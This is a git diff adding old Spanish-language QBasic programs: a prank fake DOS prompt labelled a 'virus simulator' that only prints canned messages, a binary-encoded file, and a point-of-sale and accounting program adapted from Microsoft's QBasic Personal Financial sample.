simulador +END IF + + +IF LEFT$(UCASE$(a$), 2) = "CD" AND vez = 0 THEN + sum = 0: l2 = 4 + DO + sum = sum + 1 + l2 = l2 + 1 + IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO simulador + LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$))) + ch$ = LTRIM$(RTRIM$(ch$)) + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO simulador +END IF + +IF LEFT$(UCASE$(a$), 2) = "CD" THEN + sum = 0: l2 = 4 + DO + sum = sum + 1 + l2 = l2 + 1 + IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO simulador + LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$))) + IF LEFT$(UCASE$(a$), 2) = "CD" THEN ch$ = ch$ + "\" + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO simulador + +END IF + +'******************************************** +'COPIAR DESDE AQUI SI NO SE A¥ADE NADA ARRIBA +'******************************************** +RESTORE +B$ = "" +w$ = UCASE$(LTRIM$(RTRIM$(a$))) +WHILE B$ <> "*" +READ B$, wqw$ +IF RTRIM$(LEFT$(w$, 4)) = B$ OR RTRIM$(LEFT$(w$, 2)) = B$ THEN GOTO accion +WEND +PRINT "Comando o nombre de archivo incorrecto" + GOTO simulador + +DATA DIR,1,COPY,2,CLS,3,TYPE,4,JD,5,TIME,6,DATE,7 +DATA "A:", "Cable de enlace con la unidad A, suelto", "B:", "Cable de enlace con la unidad B, suelto" +DATA *,* + +accion: +SELECT CASE VAL(wqw$) + CASE 1 + PRINT + PRINT " Volumen en unidad C no tiene etiqueta" + PRINT " N£mero de serie de volumen es 1138-1600" + PRINT + PRINT " Directorio de C:\" + ch$ + PRINT + PRINT "Archivo no se encontr¢" + PRINT + GOTO simulador + + CASE 2 + PRINT "Imposible acceder a unidad requerida" + GOTO simulador + CASE 3 + CLS + PRINT + GOTO simulador + + CASE 4 + PRINT "Fichero no encontrado" + GOTO simulador + + CASE 5 + COLOR 6 + PRINT "Virus-Simuler por JD" + COLOR 7 + GOTO simulador + + CASE 6 + PRINT : PRINT TIME$: GOTO simulador + + CASE 7 + PRINT : PRINT DATE$: GOTO simulador + +END SELECT +PRINT wqw$ +GOTO simulador + +END + diff --git a/BAS/REF#.BAS b/BAS/REF#.BAS new file mode 100644 index 0000000000000000000000000000000000000000..f83454b5d88fd67527ed26d6dfd2faa6b7cbbadc GIT binary patch literal 10429 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 L+ms~!{p9}uRP$tR literal 0 HcmV?d00001 diff --git a/BAS/TPV.BAS b/BAS/TPV.BAS new file mode 100644 index 0000000..31621b5 --- /dev/null +++ b/BAS/TPV.BAS @@ -0,0 +1,2101 @@ +' +' Q B a s i c P e r s o n a l F i n a n c i a l +' +' Copyright (C) Microsoft Corporation 1990 + +'Set default data type to integer for faster operation +DEFINT A-Z + +'Sub and function declarations +DECLARE SUB ScrollUp () +DECLARE SUB ScrollDown () +DECLARE SUB Initialize () +DECLARE SUB center (Row%, text$) +DECLARE SUB FancyCls (dots%, Background%) +DECLARE SUB LoadState () +DECLARE SUB SaveState () +DECLARE SUB MenuSystem () +DECLARE SUB Box (Row1%, Col1%, Row2%, Col2%) +DECLARE SUB PrintHelpLine (help$) +DECLARE SUB ImpRef (po%) +DECLARE SUB ImpComp (so%) +DECLARE SUB Vende (r%) +DECLARE SUB Elif () +DECLARE SUB Staul () +DECLARE SUB Ticket (e%) +DECLARE SUB Stock (EE%) +DECLARE SUB Balan (EEE%) +DECLARE FUNCTION Cvit$ (x%) +DECLARE FUNCTION Menu% (CurrChoiceX%, MaxChoice%, Choice$(), ItemRow%(), ItemCol%(), help$(), BarMode%) +DECLARE FUNCTION GetString$ (Row%, Col%, start$, end$, vis%, max%) +DECLARE FUNCTION Trim$ (x$) + +'Constants +CONST true = -1 +CONST false = NOT true + +'User-defined types +TYPE AccountType + Title AS STRING * 20 + AType AS STRING * 1 + Desc AS STRING * 50 +END TYPE + +TYPE Recordtype + Date AS STRING * 8 + Ref AS STRING * 10 + Desc AS STRING * 50 + Fig1 AS DOUBLE + Fig2 AS DOUBLE +END TYPE + +'Global variables +DIM SHARED Account(1 TO 19) AS AccountType 'Stores the 19 account titles +DIM SHARED colors(0 TO 20, 1 TO 4) 'Different Colors +DIM SHARED ScrollUpAsm(1 TO 7) 'Assembly Language Routines +DIM SHARED ScrollDownAsm(1 TO 7) +DIM SHARED Fecha$(1), fech$(1) +COMMON SHARED Account() AS AccountType, ColorPref, colors(), ScrollUpAsm(), ScrollDownAsm(), printerr AS INTEGER, Choice, SubChoice + + DEF SEG = 0 ' Turn off CapLock, NumLock and ScrollLock + KeyFlags = PEEK(1047) + POKE 1047, &H0 + DEF SEG + + 'Open money manager data file. If it does not exist in current directory, + ' goto error handler to create and initialize it. + ON ERROR GOTO ErrorTrap + OPEN "Personal.cfg" FOR INPUT AS #1 + CLOSE + ON ERROR GOTO 0 'Reset error handler + + Initialize 'Initialize program + + MenuSystem 'This is the main program + COLOR 7, 0 'Clear screen and end + CLS + + DEF SEG = 0 ' Restore CapLock, NumLock and ScrollLock states + POKE 1047, KeyFlags + DEF SEG + + END + +' Error handler for program +' If data file not found, create and initialize a new one. +ErrorTrap: + SELECT CASE ERR + ' If data file not found, create and initialize a new one. + CASE 53 + CLOSE + ColorPref = 1 + FOR A = 1 TO 19 + Account(A).Title = "" + Account(A).AType = "" + Account(A).Desc = "" + NEXT A + SaveState + RESUME + CASE 24, 25 + printerr = true + Box 8, 13, 14, 69 + center 11, "La impresora no responde ..." + center 12, "Presione Barra espaciadora para continuar" + WHILE INKEY$ <> "": WEND + + RESUME NEXT + CASE ELSE + END SELECT + RESUME NEXT + +ErrorCaj: + OPEN "Caja.cfg" FOR OUTPUT AS #1 + PRINT #1, "N" + CLOSE +RESUME NEXT + + + +'The following data defines the color schemes available via the main menu. +' +' scrn dots bar back title shdow choice curs cursbk shdow +DATA 0, 7, 15, 7, 0, 7, 0, 15, 0, 0 +DATA 1, 9, 12, 3, 0, 1, 15, 0, 7, 0 +DATA 3, 15, 13, 1, 14, 3, 15, 0, 7, 0 +DATA 7, 12, 15, 4, 14, 0, 15, 15, 1, 0 + +'The following data is actually a machine language program to +'scroll the screen up or down very fast using a BIOS call. +DATA &HB8,&H01,&H06,&HB9,&H01,&H04,&HBA,&H4E,&H16,&HB7,&H00,&HCD,&H10,&HCB +DATA &HB8,&H01,&H07,&HB9,&H01,&H04,&HBA,&H4E,&H16,&HB7,&H00,&HCD,&H10,&HCB + +SUB Balan (EE%) + +END SUB + +'Box: +' Draw a box on the screen between the given coordinates. +SUB Box (Row1, Col1, Row2, Col2) STATIC + + BoxWidth = Col2 - Col1 + 1 + + LOCATE Row1, Col1 + PRINT "Ú"; STRING$(BoxWidth - 2, "Ä"); "¿"; + + FOR A = Row1 + 1 TO Row2 - 1 + LOCATE A, Col1 + PRINT "³"; SPACE$(BoxWidth - 2); "³"; + NEXT A + + LOCATE Row2, Col1 + PRINT "À"; STRING$(BoxWidth - 2, "Ä"); "Ù"; + +END SUB + +'Center: +' Center text on the given row. +SUB center (Row, text$) + LOCATE Row, 41 - LEN(text$) / 2 + PRINT text$; +END SUB + +'Cvit$: +' Convert an integer to a string WITHOUT a leading space. +FUNCTION Cvit$ (x) + Cvit$ = RIGHT$(STR$(x), LEN(STR$(x)) - 1) +END FUNCTION + +SUB Elif + +END SUB + +'FancyCls: +' Clears screen in the right color, and draws nice dots. +SUB FancyCls (dots, Background) + + VIEW PRINT 2 TO 24 + COLOR dots, Background + CLS 2 + + FOR A = 95 TO 1820 STEP 45 + Row = A / 80 + 1 + Col = A MOD 80 + 1 + LOCATE Row, Col + PRINT CHR$(250); + NEXT A + + VIEW PRINT + +END SUB + +'GetString$: +' Given a row and col, and an initial string, edit a string +' VIS is the length of the visible field of entry +' MAX is the maximum number of characters allowed in the string +FUNCTION GetString$ (Row, Col, start$, end$, vis, max) + Curr$ = Trim$(LEFT$(start$, max)) + IF Curr$ = CHR$(8) THEN Curr$ = "" + + LOCATE , , 1 + + finished = false + DO + GOSUB GetStringShowText + GOSUB GetStringGetKey + + IF LEN(kbd$) > 1 THEN + finished = true + GetString$ = kbd$ + ELSE + SELECT CASE kbd$ + CASE CHR$(13), CHR$(27), CHR$(9) + finished = true + GetString$ = kbd$ + + CASE CHR$(8) + IF Curr$ <> "" THEN + Curr$ = LEFT$(Curr$, LEN(Curr$) - 1) + END IF + + CASE " " TO "}" + IF LEN(Curr$) < max THEN + Curr$ = Curr$ + kbd$ + ELSE + BEEP + END IF + + CASE ELSE + BEEP + END SELECT + END IF + + LOOP UNTIL finished + + end$ = Curr$ + LOCATE , , 0 + EXIT FUNCTION + + +GetStringShowText: + LOCATE Row, Col + IF LEN(Curr$) > vis THEN + PRINT RIGHT$(Curr$, vis); + ELSE + PRINT Curr$; SPACE$(vis - LEN(Curr$)); + LOCATE Row, Col + LEN(Curr$) + END IF + RETURN + +GetStringGetKey: + kbd$ = "" + WHILE kbd$ = "" + kbd$ = INKEY$ + WEND + RETURN +END FUNCTION + +SUB ImpComp (so%) + + 'Stores info about each column + + 'Array to keep the current balance at all the transactions + + REDIM Col(6), Balance#(1000) + mes$ = MID$(DATE$, 1, 2) + an$ = MID$(DATE$, 7, 4) + comes$ = mes$ + "-" + an$ + gf = 0 + Box 17, 5, 21, 75 + center 18, "Por Favor Introduzca Mes y a¤o" + center 19, "para imprimir gastos." + PrintHelpLine "Mes y A¤o: mm-aaaa" + DO + emp$ = GetString$(20, 7, comes$, end$, 10, 10) + Fecha$ = end$ + mes$ = MID$(Fecha$, 1, 2) + IF VAL(mes$) <= 12 THEN gf = 1 + IF LEN(Fecha$) < 7 THEN gf = 0 + LOOP WHILE gf = 0 + gf = 0 + + + mes$ = MID$(Fecha$, 1, 2) + an$ = MID$(Fecha$, 4, 4) + + + + center 18, "Imprimiendo Fecha Seleccionada" + center 19, "Por favor, espere ..." + + + 'Open random access file + + file$ = "E-" + mes$ + an$ + "." + Cvit$(so%) + + OPEN file$ FOR RANDOM AS #1 LEN = 59 + + FIELD #1, 2 AS IoDia$, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoUnd$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + GET #1, 1 + IF valid$ <> "SI" THEN + center 18, "Este mes, esta vacio, verifique esto." + center 19, "--> Pulse una tecla <--" + SLEEP + EXIT SUB + END IF + + MaxRecord = VAL(IoMaxRecord$) + + Balance#(0) = 0 + A = 1 + WHILE A <= MaxRecord + GET #1, A + 1 + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(A) = p# * p1# * p2# - p1# * p2# * p3# + BalTotal# = BalTotal# + Balance#(A) + A = A + 1 + WEND + + +DO +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT + +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +LOOP WHILE printerr = true + +Box 8, 13, 14, 69 + + LPRINT SPACE$(80); + LPRINT "Empresa: " + Trim$(Account(so%).Title); + GOSUB ObtMes + + LPRINT TAB(63); "Fecha: " + Fecha$; + LPRINT + + LPRINT "Dia³ Ref# ³ Concepto ³ Und ³Und/C³ P.V.P. ³ P.C. ³ Beneficios "; + LPRINT "ÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " ³ ³ ³ ³ ³ ³ ³ "; + + + u2$ = "##,###,###" + u3$ = "####,###,###" + u5$ = "###" + u6$ = "######" + u9$ = "#,###,###,###,###" + Curlip = 3 + + A = 1 + Curlip = 0 + + WHILE A <= MaxRecord + GET #1, A + 1 + Curlip = Curlip + 1 + IF Curlip = 50 THEN GOSUB PausePage + + + dia$ = IoDia$ + r# = VAL(IoRef$) + D$ = IoDesc$ + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(A) = p# * p1# * p2# - p1# * p2# * p3# + + IF LEN(dia$) = 1 THEN LPRINT TAB(3); dia$ + "³"; ELSE LPRINT TAB(2); dia$ + "³"; + + + IF r# <> 0 THEN LPRINT USING u6$; r#; ELSE LPRINT " "; + + IF RTRIM$(LTRIM$(D$)) <> "" THEN LPRINT "³" + D$; ELSE LPRINT "³ "; + + IF p1# <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; p1#; : LPRINT " "; ELSE LPRINT "³ "; + + IF p2# <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; p2#; : LPRINT " "; ELSE LPRINT "³ "; + + IF p3# <> 0 THEN LPRINT "³"; : LPRINT USING u2$; p3#; ELSE LPRINT "³ "; + + IF p2# <> 0 THEN LPRINT "³"; : LPRINT USING u2$; p2#; ELSE LPRINT "³ "; + LPRINT "³"; + LPRINT USING u3$; Balance#(A); + + A = A + 1 + WEND + + LPRINT "ßßß³ßßßßßß³ßßßßßßßßßßßßßßßßßßßßßß³ßßßßß³ßßßßß³ßßßßßßßßßß³ßßßßßßßßßß³ßßßßßßßßßßßß"; + LPRINT "ÄÄÄÁÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " Balance total:"; USING u9$; BalTotal#; + LPRINT "ÄÄÄÂÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÂÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT "ÜÜܳÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜܳÜÜÜÜܳÜÜÜÜܳÜÜÜÜÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜÜÜÜ" + LPRINT "Programa Realizado por J.D. para Guill‚n Dominguez s.l" + EXIT SUB + + +PausePage: + + center 18, "Inserte una hoja en la impresora" + center 19, "Y pulse una tecla... " + SLEEP +DO +kop = 0 +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +Box 8, 13, 14, 69 +LOOP WHILE printerr <> true + + center 18, "Imprimiendo Fecha Seleccionada" + center 19, "Por favor, espere ..." + +RETURN + +ObtMes: + +SELECT CASE VAL(mes$) + CASE 1: Fecha$ = "Enero, " + an$ + CASE 2: Fecha$ = "Febr., " + an$ + CASE 3: Fecha$ = "Marzo, " + an$ + CASE 4: Fecha$ = "Abril, " + an$ + CASE 5: Fecha$ = "Mayo, " + an$ + CASE 6: Fecha$ = "Junio, " + an$ + CASE 7: Fecha$ = "Julio, " + an$ + CASE 8: Fecha$ = "Agost, " + an$ + CASE 9: Fecha$ = "Sept., " + an$ + CASE 10: Fecha$ = "Octu., " + an$ + CASE 11: Fecha$ = "Nov., " + an$ + CASE 12: Fecha$ = "Dicc., " + an$ +END SELECT +RETURN + + +END SUB + +SUB ImpRef (po%) + + + REDIM CurrFig#(5), CurrString$(1) + + file$ = "Ref#." + Cvit$(po%) + + OPEN file$ FOR RANDOM AS #1 LEN = 54 + + FIELD #1, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + GET #1, 1 + IF valid$ <> "SI" THEN + center 18, "Al parecer esta empresa no tiene ref." + center 19, "Verifique estos datos. PAK" + SLEEP + EXIT SUB + END IF + MaxRecord = VAL(IoMaxRecord$) + Box 17, 5, 21, 75 + center 18, "Imprimiendo Referencias" + center 19, "Por favor, espere ..." + +DO +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +LOOP WHILE printerr = true + + + LPRINT "Referencias de la Empresa: " + Trim$(Account(po%).Title); + LPRINT " " + + LPRINT " Ref# ³ Concepto ³ Und/C ³ P.V.P. ³ P.C. "; + LPRINT "ÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " ³ ³ ³ ³ " + u1x$ = "ßßßßßßßßßß³ßßßßßßßßßßßßßßßßßßßßßßßß³ßßßßßßßßß³ßßßßßßßßßßßß³ßßßßßßßßßßßßß" + u2$ = "##,###,###" + u5$ = "###" + u6$ = "######" + + A = 1 + WHILE A <= MaxRecord + GET #1, A + 1 + CurrFig#(2) = VAL(IoRef$) + CurrString$(1) = IoDesc$ + CurrFig#(3) = VAL(IoCC$) + CurrFig#(4) = VAL(IoPvp$) + CurrFig#(5) = VAL(IoPc$) + + + ds = ds + 1 + IF ds = 50 THEN GOSUB finpage + + IF CurrFig#(2) <> 0 THEN LPRINT " "; : LPRINT USING u6$; CurrFig#(2); ELSE LPRINT " "; + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN LPRINT "³ " + CurrString$(1); ELSE LPRINT "³ "; + + IF CurrFig#(3) <> 0 THEN LPRINT " ³ "; : LPRINT USING u5$; CurrFig#(3); : LPRINT " "; ELSE LPRINT " ³ "; + + IF CurrFig#(4) <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; CurrFig#(4); : LPRINT " "; ELSE LPRINT "³ "; + + IF CurrFig#(5) <> 0 THEN LPRINT "³ "; : LPRINT USING u2$; CurrFig#(5) ELSE LPRINT "³ " + + + A = A + 1 + WEND + + EXIT SUB + +finpage: + + center 18, "Inserte una hoja en la impresora" + center 19, "Y pulse una tecla... " + SLEEP +DO +kop = 0 +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +Box 8, 13, 14, 69 +LOOP WHILE printerr <> true + + center 18, "Imprimiendo Fecha Seleccionada" + center 19, "Por favor, espere ..." + +RETURN + + +END SUB + +'Initialize: +' Read colors in and set up assembly routines +SUB Initialize + + WIDTH , 25 + + VIEW PRINT + + FOR ColorSet = 1 TO 4 + FOR x = 1 TO 10 + READ colors(x, ColorSet) + NEXT x + NEXT ColorSet + + LoadState + + p = VARPTR(ScrollUpAsm(1)) + DEF SEG = VARSEG(ScrollUpAsm(1)) + FOR i = 0 TO 13 + READ J + POKE (p + i), J + NEXT i + + p = VARPTR(ScrollDownAsm(1)) + DEF SEG = VARSEG(ScrollDownAsm(1)) + FOR i = 0 TO 13 + READ J + POKE (p + i), J + NEXT i + + DEF SEG + +END SUB + +'LoadState: +' Load color preferences and account info from Personal.cfg +SUB LoadState + + OPEN "Personal.cfg" FOR INPUT AS #1 + INPUT #1, ColorPref + + FOR A = 1 TO 10 + LINE INPUT #1, Account(A).Title + NEXT A + + CLOSE + +END SUB + +'Menu: +' Handles Menu Selection for a single menu (either sub menu, or menu bar) +' currChoiceX : Number of current choice +' maxChoice : Number of choices in the list +' choice$() : Array with the text of the choices +' itemRow() : Array with the row of the choices +' itemCol() : Array with the col of the choices +' help$() : Array with the help text for each choice +' barMode : Boolean: TRUE = menu bar style, FALSE = drop down style +' +' Returns the number of the choice that was made by changing currChoiceX +' and returns the scan code of the key that was pressed to exit +' +FUNCTION Menu (CurrChoiceX, MaxChoice, Choice$(), ItemRow(), ItemCol(), help$(), BarMode) + + currChoice = CurrChoiceX + + 'if in bar mode, color in menu bar, else color box/shadow + 'bar mode means you are currently in the menu bar, not a sub menu + IF BarMode THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 1 + PRINT SPACE$(80); + ELSE + IF boorra <> 0 THEN FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box ItemRow(1) - 1, ItemCol(1) - 1, ItemRow(MaxChoice) + 1, ItemCol(1) + LEN(Choice$(1)) + 1 + + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR A = 1 TO MaxChoice + 1 + LOCATE ItemRow(1) + A - 1, ItemCol(1) + LEN(Choice$(1)) + 2 + PRINT CHR$(178); CHR$(178); + NEXT A + LOCATE ItemRow(MaxChoice) + 2, ItemCol(MaxChoice) + 2 + PRINT STRING$(LEN(Choice$(MaxChoice)) + 2, 178); + END IF + + 'print the choices + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR A = 1 TO MaxChoice + LOCATE ItemRow(A), ItemCol(A) + PRINT Choice$(A); + NEXT A + + finished = false + + WHILE NOT finished + + GOSUB MenuShowCursor + GOSUB MenuGetKey + GOSUB MenuHideCursor + + SELECT CASE kbd$ + CASE CHR$(0) + "H": GOSUB MenuUp + CASE CHR$(0) + "P": GOSUB MenuDown + CASE CHR$(0) + "K": GOSUB MenuLeft + CASE CHR$(0) + "M": GOSUB MenuRight + CASE CHR$(13): GOSUB MenuEnter + CASE CHR$(27): GOSUB MenuEscape + CASE ELSE: BEEP + END SELECT + WEND + + Menu = currChoice + + EXIT FUNCTION + + +MenuEnter: + finished = true + RETURN + 